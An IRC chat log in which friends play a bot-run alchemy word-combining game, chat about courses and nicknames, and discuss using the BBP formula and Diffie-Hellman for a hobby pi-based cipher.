[2015-01-04T00:02:13-0500] <alokpathy> pdgn + tj
[2015-01-04T00:02:15-0500] <alokpathy> or
[2015-01-04T00:02:25-0500] <alokpathy> pdgn + linux
[2015-01-04T00:02:28-0500] <+hardmath123> (Yes, I know it's ugly. Deal with it.)
[2015-01-04T00:02:30-0500] <@awe> hardmath123: the number you're keeping track of is hints remaining
[2015-01-04T00:02:39-0500] <@awe> hardmath123: the correct comparison is hint_stuff[0] < 0
[2015-01-04T00:02:55-0500] <jwoglom> the "you have X left this hour" is before the decrement
[2015-01-04T00:02:59-0500] <+hardmath123> oh
[2015-01-04T00:03:02-0500] <+hardmath123> *facepalm*
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[2015-01-04T00:03:12-0500] <@awe> It's because of what he was tracking.
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[2015-01-04T00:03:23-0500] <alokpathy> @hint
[2015-01-04T00:03:24-0500] <alchemy> Hint: It's possible to make mjolnir with tool!
[2015-01-04T00:03:25-0500] <alchemy> You have 3 hints left this hour.
[2015-01-04T00:03:31-0500] <alokpathy> mjolnir?
[2015-01-04T00:03:35-0500] <alokpathy> wazzat
[2015-01-04T00:03:36-0500] <@awe> Yeah.
[2015-01-04T00:03:39-0500] <@awe> It's a type of spear.
[2015-01-04T00:03:59-0500] <@awe> Oh, no, hammer.
[2015-01-04T00:04:03-0500] <alokpathy> Lol "the hammer of Thor"
[2015-01-04T00:04:08-0500] <@awe> Yeah.
[2015-01-04T00:04:11-0500] <alokpathy> @combine tool stone
[2015-01-04T00:04:11-0500] <alchemy> tool and stone don't make anything exciting.
[2015-01-04T00:04:22-0500] <bob_twinkles> @combine tool rock
[2015-01-04T00:04:23-0500] <alchemy> tool and rock don't make anything exciting.
[2015-01-04T00:04:23-0500] <@awe> Why did I think it was a spear?
[2015-01-04T00:04:31-0500] <+hardmath123> oh wow you guys get 3 free hints because of the reboot
[2015-01-04T00:04:40-0500] <@awe> I was thinking of Gungni.
[2015-01-04T00:04:41-0500] <alokpathy> It loves us :D
[2015-01-04T00:04:45-0500] <@awe> Gungnir. That's why.
[2015-01-04T00:04:56-0500] <@awe> My bad, alchemy.
[2015-01-04T00:04:57-0500] <@awe> erm
[2015-01-04T00:04:58-0500] <@awe> alokpathy: 
[2015-01-04T00:05:03-0500] <@awe> @possible gungnir
[2015-01-04T00:05:03-0500] <alchemy> No, you can't make gungnir.
[2015-01-04T00:05:09-0500] <alokpathy> Ah, okay
[2015-01-04T00:05:55-0500] <+Tamini> i want gungnir
[2015-01-04T00:06:08-0500] <+Tamini> @combine tool metal
[2015-01-04T00:06:09-0500] <alchemy> You already combined tool and metal to get sculpture.
[2015-01-04T00:06:14-0500] <+Tamini> @combine tool axe
[2015-01-04T00:06:14-0500] <alchemy> tool and axe don't make anything exciting.
[2015-01-04T00:06:18-0500] <+Tamini> @combine metal axe
[2015-01-04T00:06:19-0500] <alchemy> metal and axe don't make anything exciting.
[2015-01-04T00:06:21-0500] <+Tamini> @combine stone axe
[2015-01-04T00:06:21-0500] <alchemy> stone and axe don't make anything exciting.
[2015-01-04T00:06:27-0500] <+Tamini> how do you make a magic hamer
[2015-01-04T00:06:29-0500] <+Tamini> hammer
[2015-01-04T00:06:30-0500] <+Tamini> oh
[2015-01-04T00:06:33-0500] <+Tamini> @possible hammer
[2015-01-04T00:06:33-0500] <+hardmath123> jwoglom: what do you want to be? pm me a combo.
[2015-01-04T00:06:33-0500] <alchemy> No, you can't make hammer.
[2015-01-04T00:06:34-0500] <@awe> So, instead of two theory courses, I'm taking one and a systems course next semester.
[2015-01-04T00:06:40-0500] <+Tamini> @combine thunder tool
[2015-01-04T00:06:41-0500] <alchemy> thunder and tool don't make anything exciting.
[2015-01-04T00:06:44-0500] <+Tamini> @combine thunder sword
[2015-01-04T00:06:46-0500] <alchemy> thunder and sword don't make anything exciting.
[2015-01-04T00:06:46-0500] <@awe> I'm in the probability one.
[2015-01-04T00:06:48-0500] <+Tamini> @combine thunder axe
[2015-01-04T00:06:49-0500] <alchemy> thunder and axe don't make anything exciting.
[2015-01-04T00:07:20-0500] <alokpathy> awe: Oh exciting.
[2015-01-04T00:07:27-0500] <@awe> Well, I'd have preferred the two theory ones.
[2015-01-04T00:07:34-0500] <@awe> But they forced me to take the systems course instead.
[2015-01-04T00:07:38-0500] <@awe>  /shrug
[2015-01-04T00:07:43-0500] <+Tamini> awh
[2015-01-04T00:07:44-0500] <+Tamini> oh well
[2015-01-04T00:07:46-0500] <alokpathy> Aw
[2015-01-04T00:07:49-0500] <+Tamini> you'll make the best of it
[2015-01-04T00:07:56-0500] <@awe> Yeah, it'll be fine.
[2015-01-04T00:08:04-0500] <+Tamini> awe: did i tell you my phone started autocorrecting awh to awe lol
[2015-01-04T00:08:08-0500] <@awe> Yeah, I saw.
[2015-01-04T00:08:08-0500] <@awe> :D
[2015-01-04T00:08:09-0500] <@awe> I'm happy.
[2015-01-04T00:08:13-0500] <+Tamini> :P
[2015-01-04T00:08:17-0500] <@awe> But yeah, the world won't end.
[2015-01-04T00:08:24-0500] <bob_twinkles> @possible thor
[2015-01-04T00:08:25-0500] <alchemy> No, you can't make thor.
[2015-01-04T00:08:28-0500] <bob_twinkles> =(
[2015-01-04T00:08:35-0500] <@awe> After the semester after this next one, I'll basically only take theory courses.
[2015-01-04T00:08:37-0500] <+Tamini> how do you make mjolnir without a hammer
[2015-01-04T00:08:44-0500] <alokpathy> We've known we can make god for a while
[2015-01-04T00:08:48-0500] <alokpathy> but we have not idea how to do it.
[2015-01-04T00:08:49-0500] <+Tamini> not a thundertool
[2015-01-04T00:08:51-0500] <+Tamini> oh god tool
[2015-01-04T00:08:52-0500] <+Tamini> hm
[2015-01-04T00:08:55-0500] <@awe> @possible hammer
[2015-01-04T00:08:56-0500] <alchemy> No, you can't make hammer.
[2015-01-04T00:08:57-0500] <alokpathy> s/not/no
[2015-01-04T00:08:58-0500] <+Tamini> @combine energy man
[2015-01-04T00:08:59-0500] <alchemy> You already combined energy and man to get genius.
[2015-01-04T00:09:00-0500] <@awe> o
[2015-01-04T00:09:02-0500] <alokpathy> @list
[2015-01-04T00:09:03-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-04T00:09:03-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-04T00:09:03-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-04T00:09:03-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-04T00:09:03-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-04T00:09:03-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T00:09:03-0500] <alchemy> That's 116 out of 161!
[2015-01-04T00:09:03-0500] <+Tamini> @combine genius energy
[2015-01-04T00:09:04-0500] <alchemy> You already combined genius and energy to get science.
[2015-01-04T00:09:05-0500] <bob_twinkles> @combine war tool
[2015-01-04T00:09:06-0500] <alchemy> war and tool don't make anything exciting.
[2015-01-04T00:09:11-0500] <+Tamini> @combine war sword
[2015-01-04T00:09:12-0500] <alchemy> war and sword don't make anything exciting.
[2015-01-04T00:09:15-0500] <+Tamini> @combine sword sword
[2015-01-04T00:09:16-0500] <alchemy> sword and sword don't make anything exciting.
[2015-01-04T00:09:22-0500] <+Tamini> how did we get war?
[2015-01-04T00:09:40-0500] <alokpathy> Tamini: No idea
[2015-01-04T00:09:45-0500] <+hardmath123> @refresh
[2015-01-04T00:09:46-0500] <alokpathy> Tamini: but Thor hammer needs tool
[2015-01-04T00:09:46-0500] <alchemy> Refreshing...
[2015-01-04T00:09:46-0500] <alchemy> Done. Loaded 162.
[2015-01-04T00:09:52-0500] <alokpathy> hardmath123: Added jwoglom ?
[2015-01-04T00:09:52-0500] <+hardmath123> @possible jwoglom 
[2015-01-04T00:10:01-0500] <+hardmath123> @possible jwoglom 
[2015-01-04T00:10:01-0500] <alokpathy> @possible jwoglom
[2015-01-04T00:10:03-0500] <+hardmath123> @possible jwoglom 
[2015-01-04T00:10:03-0500] <alchemy> No, you can't make jwoglom.
[2015-01-04T00:10:05-0500] <@awe> Okay, so, let's actually see...
[2015-01-04T00:10:06-0500] <+hardmath123> oh
[2015-01-04T00:10:07-0500] <jwoglom> :(
[2015-01-04T00:10:09-0500] <+hardmath123> typu
[2015-01-04T00:10:11-0500] <+Tamini> @possible james
[2015-01-04T00:10:11-0500] <alchemy> No, you can't make james.
[2015-01-04T00:10:12-0500] <+hardmath123> *typo
[2015-01-04T00:10:13-0500] <@awe> Software Engineering is not the interesting kind of theory.
[2015-01-04T00:10:15-0500] <+hardmath123> duh
[2015-01-04T00:10:16-0500] <jwoglom> maybe james instead because less pings
[2015-01-04T00:10:18-0500] <@awe> algorithms and formal language theory will be
[2015-01-04T00:10:26-0500] <+hardmath123> @refresh
[2015-01-04T00:10:27-0500] <alchemy> Refreshing...
[2015-01-04T00:10:27-0500] <alchemy> Done. Loaded 162.
[2015-01-04T00:10:27-0500] <alokpathy> awe: woo algos
[2015-01-04T00:10:30-0500] <+hardmath123> @possible jwoglom 
[2015-01-04T00:10:33-0500] <@awe> combinatorics and graph theory is obvs theory
[2015-01-04T00:10:34-0500] <alokpathy> awe: Wait when was software engineering part of theory?
[2015-01-04T00:10:38-0500] <+hardmath123> @possible jwoglom 
[2015-01-04T00:10:42-0500] <@awe> alokpathy: they require everyone to take it.
[2015-01-04T00:10:43-0500] <jwoglom> @possible jwoglom
[2015-01-04T00:10:44-0500] <alchemy> Yeah, you can make jwoglom.
[2015-01-04T00:10:48-0500] <jwoglom> o/
[2015-01-04T00:10:52-0500] <@awe> alokpathy: technically, engineering methodology is a tpy eof theory.
[2015-01-04T00:10:56-0500] <+hardmath123> @status
[2015-01-04T00:10:57-0500] <alokpathy> jwoglom: Time to get pinged :P
[2015-01-04T00:10:57-0500] <alchemy> Alive and happy. Thanks for asking.
[2015-01-04T00:11:02-0500] <alokpathy> awe: Oh, the methodology. 
[2015-01-04T00:11:06-0500] <alokpathy> awe: I guess that makes sense, yeah.
[2015-01-04T00:11:09-0500] <bob_twinkles> @combine thunder tool
[2015-01-04T00:11:09-0500] <alchemy> thunder and tool don't make anything exciting.
[2015-01-04T00:11:11-0500] <@awe> It's not the kind I want to study though. ;)
[2015-01-04T00:11:15-0500] <+hardmath123> yeah, jwoglom, do you want a different name so that the pings don't kill you?
[2015-01-04T00:11:21-0500] <alokpathy> awe: Seems kinda dry xD
[2015-01-04T00:11:21-0500] <@awe> https://www.dropbox.com/s/dyl0x7og586uc2u/Screenshot%202015-01-04%2000.11.19.png?dl=0
[2015-01-04T00:11:30-0500] <bob_twinkles> @combine tool cloud
[2015-01-04T00:11:31-0500] <alchemy> tool and cloud don't make anything exciting.
[2015-01-04T00:11:34-0500] <bob_twinkles> myeh
[2015-01-04T00:11:41-0500] <jwoglom> hardmath123: yeah, i think changing it to james would make sense
[2015-01-04T00:11:48-0500] <@awe> So, definitely doing combinatorics and graph theory.
[2015-01-04T00:11:50-0500] <@awe> what else?
[2015-01-04T00:11:57-0500] <jwoglom> i don't mind the combination/possible/etc pings but the @list would probably kill me lol
[2015-01-04T00:11:58-0500] <+Tamini> @combine pdgn sysadmin
[2015-01-04T00:11:59-0500] <alchemy> pdgn and sysadmin don't make anything exciting.
[2015-01-04T00:12:01-0500] <+Tamini> wow
[2015-01-04T00:12:06-0500] <+Tamini> not the obvious
[2015-01-04T00:12:07-0500] <alokpathy> awe: Advanced algos :D
[2015-01-04T00:12:10-0500] <@awe> jwoglom: yeah, the list was what annoyed me too
[2015-01-04T00:12:19-0500] <jwoglom> Tamini: crazy, right? :P
[2015-01-04T00:12:23-0500] <@awe> alokpathy: we'll see how I like my algos class.
[2015-01-04T00:12:28-0500] <+Tamini> hardmath123: can we get awe from what we have? <3
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[2015-01-04T00:12:30-0500] <+Tamini> oh wow
[2015-01-04T00:12:35-0500] <@awe> Tamini: you already have awe?
[2015-01-04T00:12:37-0500] <@awe> @combine rust man
[2015-01-04T00:12:38-0500] <+Tamini> god
[2015-01-04T00:12:39-0500] <+Tamini> not awe
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[2015-01-04T00:12:39-0500] <+Tamini> LOL
[2015-01-04T00:12:42-0500] <@awe> @combine rust man
[2015-01-04T00:12:43-0500] <alchemy> You already combined rust and man to get aaron.
[2015-01-04T00:12:45-0500] <@awe> see.
[2015-01-04T00:12:52-0500] <+hardmath123> @refresh
[2015-01-04T00:12:52-0500] <+Tamini> awe: i meant god ;P
[2015-01-04T00:12:53-0500] <alchemy> Refreshing...
[2015-01-04T00:12:53-0500] <alchemy> Done. Loaded 162.
[2015-01-04T00:12:58-0500] <+hardmath123> @possible james
[2015-01-04T00:12:58-0500] <alchemy> Yeah, you can make james.
[2015-01-04T00:13:00-0500] <@awe> Tamini: same difference
[2015-01-04T00:13:01-0500] <+hardmath123> @possible jwoglom
[2015-01-04T00:13:02-0500] <alokpathy> Tamini: Same thing :P
[2015-01-04T00:13:02-0500] <alchemy> No, you can't make jwoglom.
[2015-01-04T00:13:03-0500] <+Tamini> @combine pdgn sysadmin
[2015-01-04T00:13:04-0500] <alchemy> pdgn and sysadmin don't make anything exciting.
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[2015-01-04T00:13:12-0500] <@awe> jwoglom: isn't the pdgn sysadmin.
[2015-01-04T00:13:13-0500] <alokpathy> Now how to make james.
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[2015-01-04T00:13:25-0500] <+Tamini> @combine sysadmin man
[2015-01-04T00:13:25-0500] <alchemy> sysadmin and man don't make anything exciting.
[2015-01-04T00:13:27-0500] <jwoglom> hardmath123: maybe you could make symlinks that show up everywhere but @list?
[2015-01-04T00:13:28-0500] <+Tamini> @combine hacker sysadmin
[2015-01-04T00:13:30-0500] <alchemy> hacker and sysadmin don't make anything exciting.
[2015-01-04T00:13:37-0500] <+hardmath123> jwoglom: too much work.
[2015-01-04T00:13:47-0500] <+Tamini> i know its sysadmin+something
[2015-01-04T00:13:47-0500] <+Tamini> :(
[2015-01-04T00:13:50-0500] <jwoglom> lol, first names will do
[2015-01-04T00:14:13-0500] <bob_twinkles> @combine sysadmin whitehat
[2015-01-04T00:14:14-0500] <alchemy> sysadmin and whitehat don't make anything exciting.
[2015-01-04T00:14:25-0500] <@awe> @list
[2015-01-04T00:14:25-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-04T00:14:25-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-04T00:14:25-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-04T00:14:25-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-04T00:14:25-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-04T00:14:25-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T00:14:25-0500] <alchemy> That's 116 out of 162!
[2015-01-04T00:14:35-0500] <@awe> hardmath123: alchemy is basically a spam bot at this point
[2015-01-04T00:14:39-0500] <+Tamini> jwoglom: its sysadmin+something right
[2015-01-04T00:14:44-0500] <+Tamini> it better be
[2015-01-04T00:14:46-0500] <alokpathy> @combine pdgn linux
[2015-01-04T00:14:47-0500] <alchemy> pdgn and linux don't make anything exciting.
[2015-01-04T00:14:51-0500] <@awe> @combine sysadmin ninja
[2015-01-04T00:14:51-0500] <alchemy> sysadmin and ninja don't make anything exciting.
[2015-01-04T00:14:54-0500] <@awe> how is that not jwoglom?
[2015-01-04T00:15:00-0500] <@awe> he is 100% ninja sysadmin.
[2015-01-04T00:15:01-0500] <+Tamini> woggles pls
[2015-01-04T00:15:05-0500] <+hardmath123> awe: should I disable @list?
[2015-01-04T00:15:11-0500] <+Tamini> @combine god ninja
[2015-01-04T00:15:11-0500] <alchemy> You don't have god!
[2015-01-04T00:15:12-0500] <@awe> hardmath123: I don't really know what the solution is.
[2015-01-04T00:15:16-0500] <+Tamini> @combine energy ninja
[2015-01-04T00:15:17-0500] <alchemy> energy and ninja don't make anything exciting.
[2015-01-04T00:15:19-0500] <bob_twinkles> hardmath123: make it pm the user that @lists
[2015-01-04T00:15:19-0500] <@awe> hardmath123: the game needs it.
[2015-01-04T00:15:25-0500] <+Tamini> hardmath123: can we get god from what we have?
[2015-01-04T00:15:28-0500] <@awe> PMing is still pretty flood-ish.
[2015-01-04T00:15:30-0500] <+Tamini> bob_twinkles's idea works
[2015-01-04T00:15:31-0500] <jwoglom> awe: lol, i'm not a ninja, i'm afraid
[2015-01-04T00:15:37-0500] <+Tamini> less flood on the channel itself tho
[2015-01-04T00:15:38-0500] <bob_twinkles> that's how tjhsstbot does high-volume commands
[2015-01-04T00:15:38-0500] <@awe> If I had a flood protection, it'd hit it on PMs too.
[2015-01-04T00:15:50-0500] <jwoglom> @refresh
[2015-01-04T00:15:50-0500] <@awe> jwoglom: I like the nickname woggles.
[2015-01-04T00:15:50-0500] <alchemy> Refreshing...
[2015-01-04T00:15:50-0500] <alchemy> Done. Loaded 162.
[2015-01-04T00:15:57-0500] <jwoglom> awe: you too? :P
[2015-01-04T00:16:01-0500] <@awe> It's great. :D
[2015-01-04T00:16:04-0500] <alokpathy> :o
[2015-01-04T00:16:05-0500] <alokpathy> woggles
[2015-01-04T00:16:07-0500] <+hardmath123> woggles rhymes so well with goggles
[2015-01-04T00:16:08-0500] <jwoglom> dammit did Tamini tell you 
[2015-01-04T00:16:15-0500] <@awe> [00:15:01]  <+Tamini>	woggles pls
[2015-01-04T00:16:20-0500] <@awe> It's beautiful.
[2015-01-04T00:17:09-0500] <jwoglom> i'm okay with you calling me that if you want to :P
[2015-01-04T00:17:16-0500] <jwoglom> however it is not my legal or preferred name
[2015-01-04T00:17:55-0500] <@awe> I'll probably still call you jwoglom because tab-autocomplete lol
[2015-01-04T00:18:06-0500] <@awe> but if you changed your nickname to woggles. ;)
[2015-01-04T00:18:06-0500] <alokpathy> even irl.
[2015-01-04T00:18:13-0500] <@awe> Nah, IRL, I'd probably call him James.
[2015-01-04T00:18:15-0500] <jwoglom> a couple friends of mine call me that irl, lol
[2015-01-04T00:18:23-0500] <alokpathy> jwoglom?
[2015-01-04T00:18:26-0500] <alokpathy> or woggles?
[2015-01-04T00:18:27-0500] <@awe> maybe woggles if I remembered.
[2015-01-04T00:18:28-0500] <jwoglom> woggles
[2015-01-04T00:18:43-0500] <jwoglom> one of them used to call me woggie
[2015-01-04T00:18:46-0500] <@awe> I know what jwoglom looks like though because I stalked him on facebook
[2015-01-04T00:18:51-0500] <jwoglom> but it seems like they all standardized, lol
[2015-01-04T00:19:03-0500] <alokpathy> jwoglom: is on FB? :o
[2015-01-04T00:19:04-0500] <alokpathy> [stalks]
[2015-01-04T00:19:09-0500] <+Tamini> wooooooooooooooooggles
[2015-01-04T00:19:17-0500] <+Tamini> heh
[2015-01-04T00:19:19-0500] <jwoglom> i bet you'll have a horribly difficult time finding me :P
[2015-01-04T00:19:21-0500] <@awe> bob_twinkles: I'm implementing the OTπ now.
[2015-01-04T00:19:23-0500] <jwoglom> with my super generic name
[2015-01-04T00:19:32-0500] <@awe> jwoglom: we're all friends with Tamini already.
[2015-01-04T00:19:33-0500] <+Tamini> jwoglom: alok and i are fb friends
[2015-01-04T00:19:33-0500] <+Tamini> gl
[2015-01-04T00:19:33-0500] <@awe> jwoglom: sorry bb
[2015-01-04T00:19:38-0500] <alokpathy> jwoglom: and the fact that we have so few mutual friends :P
[2015-01-04T00:19:45-0500] <+hardmath123> awe: onetimepi is a cool name, I'll grant you that :)
[2015-01-04T00:19:59-0500] <@awe> Right?
[2015-01-04T00:20:01-0500] <jwoglom> lol you can fb stalk me idrc
[2015-01-04T00:20:30-0500] <@awe> You're in marching band?
[2015-01-04T00:20:43-0500] <jwoglom> wow look two people that i totally don't know just friend requested me on facebook
[2015-01-04T00:20:58-0500] <jwoglom> awe: yup
[2015-01-04T00:21:04-0500] <@awe> you know me, mang.
[2015-01-04T00:21:55-0500] <jwoglom> i for some unknown reason accepted both of those requests
[2015-01-04T00:21:59-0500] <jwoglom> guess i defy logic
[2015-01-04T00:22:44-0500] <alokpathy> jwoglom: is a strange one
[2015-01-04T00:23:16-0500] <jwoglom> indeed
[2015-01-04T00:23:17-0500] <jwoglom> i know him well
[2015-01-04T00:23:19-0500] <ubuntor> are we fb stalking now?
[2015-01-04T00:23:23-0500] <+Tamini> s'ok
[2015-01-04T00:23:27-0500] <+Tamini> alokpathy is super cute
[2015-01-04T00:23:30-0500] <+Tamini> and awe is super cool
[2015-01-04T00:23:36-0500] <jwoglom> ubuntor: it appears the conversation has escalated into that, yes :P
[2015-01-04T00:23:38-0500] <+Tamini> neither of them will hurt you... too much
[2015-01-04T00:23:43-0500] <ubuntor> lol
[2015-01-04T00:24:08-0500] <alokpathy> Tamini: I don't bite :)
[2015-01-04T00:24:10-0500] <alokpathy> often.
[2015-01-04T00:24:19-0500] <+Tamini> alokpathy: often :P
[2015-01-04T00:24:32-0500] <alokpathy> Tamini: Shh
[2015-01-04T00:24:32-0500] <alokpathy> one time
[2015-01-04T00:24:38-0500] <alokpathy> and JacobEdelman deserved it.
[2015-01-04T00:24:49-0500] <alokpathy> I don't think he remembers though.
[2015-01-04T00:24:56-0500] <@awe> Wait a minute.
[2015-01-04T00:24:56-0500] <+Tamini> wait wait wait
[2015-01-04T00:24:57-0500] <+Tamini> seriously
[2015-01-04T00:24:58-0500] <+Tamini> LOL
[2015-01-04T00:25:00-0500] <@awe> WAIT A MINUTE.
[2015-01-04T00:25:02-0500] <+Tamini> I want this story.
[2015-01-04T00:25:06-0500] <alokpathy> No I'm kidding LOL
[2015-01-04T00:25:08-0500] <+Tamini> oh LOL
[2015-01-04T00:25:11-0500] <+Tamini> I WAS LIKE
[2015-01-04T00:25:12-0500] <+Tamini> DUDE
[2015-01-04T00:25:22-0500] <@awe> Is there a cryptographically secure way to exchange two numbers?
[2015-01-04T00:25:29-0500] <+hardmath123> awe: diffie-hellman?
[2015-01-04T00:25:33-0500] <@awe> I was thinking that.
[2015-01-04T00:25:42-0500] <@awe> If diffie-hellman works for what I'm thinking, you could use it with OTπ
[2015-01-04T00:25:58-0500] <+hardmath123> also rsa
[2015-01-04T00:26:35-0500] <ubuntor> are you going to use one of the spigot algorithms?
[2015-01-04T00:26:58-0500] <@awe> spigot algorithms?
[2015-01-04T00:27:48-0500] <ubuntor> algorithms that continuously generate digits of pi
[2015-01-04T00:27:53-0500] <@awe> Ah.
[2015-01-04T00:28:02-0500] <@awe> Any recommendations?
[2015-01-04T00:28:06-0500] <@awe> I haven't researched that yet lol
[2015-01-04T00:28:15-0500] <@awe> hardmath123: DH would work
[2015-01-04T00:28:28-0500] <ubuntor> oh, here we go
[2015-01-04T00:28:28-0500] <ubuntor> http://en.wikipedia.org/wiki/Bailey%E2%80%93Borwein%E2%80%93Plouffe_formula
[2015-01-04T00:28:47-0500] <ubuntor> you can start anywhere in pi, without calculating previous digits
[2015-01-04T00:28:56-0500] <ubuntor> it's in hex tho
[2015-01-04T00:29:04-0500] <+hardmath123> awe: DH just makes you a shared secret, though, you can't control what it is iirc.
[2015-01-04T00:29:10-0500] <@awe> hardmath123: doesn't matter.
[2015-01-04T00:29:22-0500] <@awe> hardmath123: you can use it to negotiate a shared pi constant and shared starting place
[2015-01-04T00:29:29-0500] <+hardmath123> right
[2015-01-04T00:29:38-0500] <+hardmath123> you were like "cryptographically secure way to exchange two numbers"
[2015-01-04T00:29:43-0500] <@awe> sorry
[2015-01-04T00:29:47-0500] <@awe> DH works though
[2015-01-04T00:29:55-0500] <@awe> You're right, I wasn't really clear about what I wanted.
[2015-01-04T00:29:59-0500] <@awe> I really wanted to determine two numbers.
[2015-01-04T00:30:02-0500] <@awe> Not to exchange them.
[2015-01-04T00:30:06-0500] <+hardmath123> also, ubuntor, yeah, i've heard of it, it's supposedly the fastest-converging thing.
[2015-01-04T00:30:29-0500] <ubuntor> it's pretty cool
[2015-01-04T00:30:54-0500] <+hardmath123> and it's pretty useful in hex as it is
[2015-01-04T00:30:57-0500] <+hardmath123> if you think about it
[2015-01-04T00:31:05-0500] <ubuntor> hm
[2015-01-04T00:31:25-0500] <ubuntor> implementation will be the fun part
[2015-01-04T00:31:41-0500] <+hardmath123> wait i'm confused
[2015-01-04T00:31:46-0500] <+hardmath123> how do you get the kth digit?
[2015-01-04T00:32:00-0500] <+hardmath123> i mean, the thing to the right of 1/16**k isn't guaranteed to be an integer, right?
[2015-01-04T00:34:40-0500] <@awe> Yeah, I do not get this.
[2015-01-04T00:34:47-0500] <+hardmath123> ubuntor: help!
[2015-01-04T00:35:27-0500] <ubuntor> thinking
[2015-01-04T00:36:28-0500] <+hardmath123> http://www.ams.org/samplings/feature-column/fcarc-pi
[2015-01-04T00:38:19-0500] <ubuntor> so after multiplying by a suitable offset
[2015-01-04T00:39:45-0500] <ubuntor> you just need the fractional part to determine the next few digits
[2015-01-04T00:41:02-0500] <@awe> can I get some pseudocode pls
[2015-01-04T00:41:28-0500] <+hardmath123> http://en.literateprograms.org/Pi_with_the_BBP_formula_(Python)
[2015-01-04T00:41:33-0500] <+hardmath123> in python
[2015-01-04T00:41:46-0500] <@awe> thanks
[2015-01-04T00:41:49-0500] <jwoglom> ah, TJ. https://www.youtube.com/watch?v=ys_c3X5dm2g
[2015-01-04T00:41:56-0500] <jwoglom> it feels so satisfying to watch your high school be destroyed
[2015-01-04T00:42:05-0500] <ubuntor> rip tj
[2015-01-04T00:42:14-0500] <+Tamini> that bgm tho
[2015-01-04T00:42:15-0500] <jwoglom> i do miss it, though
[2015-01-04T00:42:44-0500] <+Tamini> you guys dont get to enjoy the physics hallway
[2015-01-04T00:42:51-0500] <+Tamini> and the memories that it bears
[2015-01-04T00:43:22-0500] <jwoglom> Tamini: i kind of wish I was able to use those rooms
[2015-01-04T00:43:26-0500] <jwoglom> the temporary rooms are garbage
[2015-01-04T00:43:39-0500] <@awe> the reduction to a fractional part (using % 1.0)?
[2015-01-04T00:44:42-0500] <+hardmath123> hmm?
[2015-01-04T00:45:32-0500] <@awe> I'm not really sure what they're doing there.
[2015-01-04T00:46:17-0500] <ubuntor> you only need the fractional part, so you can discard the integral part to save time
[2015-01-04T00:46:36-0500] <ubuntor> and precision
[2015-01-04T00:47:17-0500] <ubuntor> you probably want the sequential generation section
[2015-01-04T00:47:31-0500] <@awe> I don't see how I could control starting position with this though
[2015-01-04T00:47:45-0500] <ubuntor> hm
[2015-01-04T00:49:23-0500] <@awe> Ultimately, what I want to do is to get 8-bit sections of pi starting from an arbitrary offset.
[2015-01-04T00:50:03-0500] <@awe> then I'd modulo the u8 value of each character by each 8-bit section of pi in succession
[2015-01-04T00:50:42-0500] <+hardmath123> yeah i grok that
[2015-01-04T00:50:45-0500] <+hardmath123> i think they're saying
[2015-01-04T00:50:48-0500] <+hardmath123> to get the nth digit
[2015-01-04T00:50:59-0500] <+hardmath123> multiply the formula by 16^n
[2015-01-04T00:51:09-0500] <+hardmath123> and then find the fractional part of what's left
[2015-01-04T00:51:27-0500] <+Tamini> grok?
[2015-01-04T00:51:28-0500] <+hardmath123> so you end up with the equation at the top of the Python page
[2015-01-04T00:51:31-0500] <@awe> Tamini: understand
[2015-01-04T00:51:38-0500] <+Tamini> whoa, weird.
[2015-01-04T00:51:54-0500] <+hardmath123> Tamini: Read Stranger in a Strange land. It's PG-13 in some places, but still one of the best books I've read.
[2015-01-04T00:52:03-0500] <+Tamini> hardmath123: oh, i had that recommended to me before
[2015-01-04T00:52:04-0500] <+Tamini> <3
[2015-01-04T00:54:41-0500] <ubuntor> oh no, mobius transformations
[2015-01-04T00:54:42-0500] <ubuntor> why
[2015-01-04T00:55:26-0500] <@awe> someone mathier than me
[2015-01-04T00:55:26-0500] <@awe> halp
[2015-01-04T00:56:40-0500] <ubuntor> hmm, there's also
[2015-01-04T00:56:41-0500] <ubuntor> http://www.cs.ox.ac.uk/people/jeremy.gibbons/publications/spigot.pdf
[2015-01-04T00:56:43-0500] <+Tamini> awe: not very mathy
[2015-01-04T00:56:44-0500] <+Tamini> what you want
[2015-01-04T00:57:07-0500] <@awe> ubuntor: this looks good.
[2015-01-04T00:57:28-0500] <@awe> now, how does one find the nth digit with this>
[2015-01-04T00:57:30-0500] <@awe> ?
[2015-01-04T00:57:30-0500] <ubuntor> that haskell tho
[2015-01-04T00:57:33-0500] <@awe> That's what I don't get.
[2015-01-04T00:57:39-0500] <@awe> They always show pi = some formula
[2015-01-04T00:57:45-0500] <@awe> how does that tell me how to get individual digits?
[2015-01-04T00:58:25-0500] <@awe> ubuntor: their code is insane.
[2015-01-04T00:58:36-0500] <ubuntor> for the bbp formula, you can exploit the 1/(16**k) in every term to extract digits
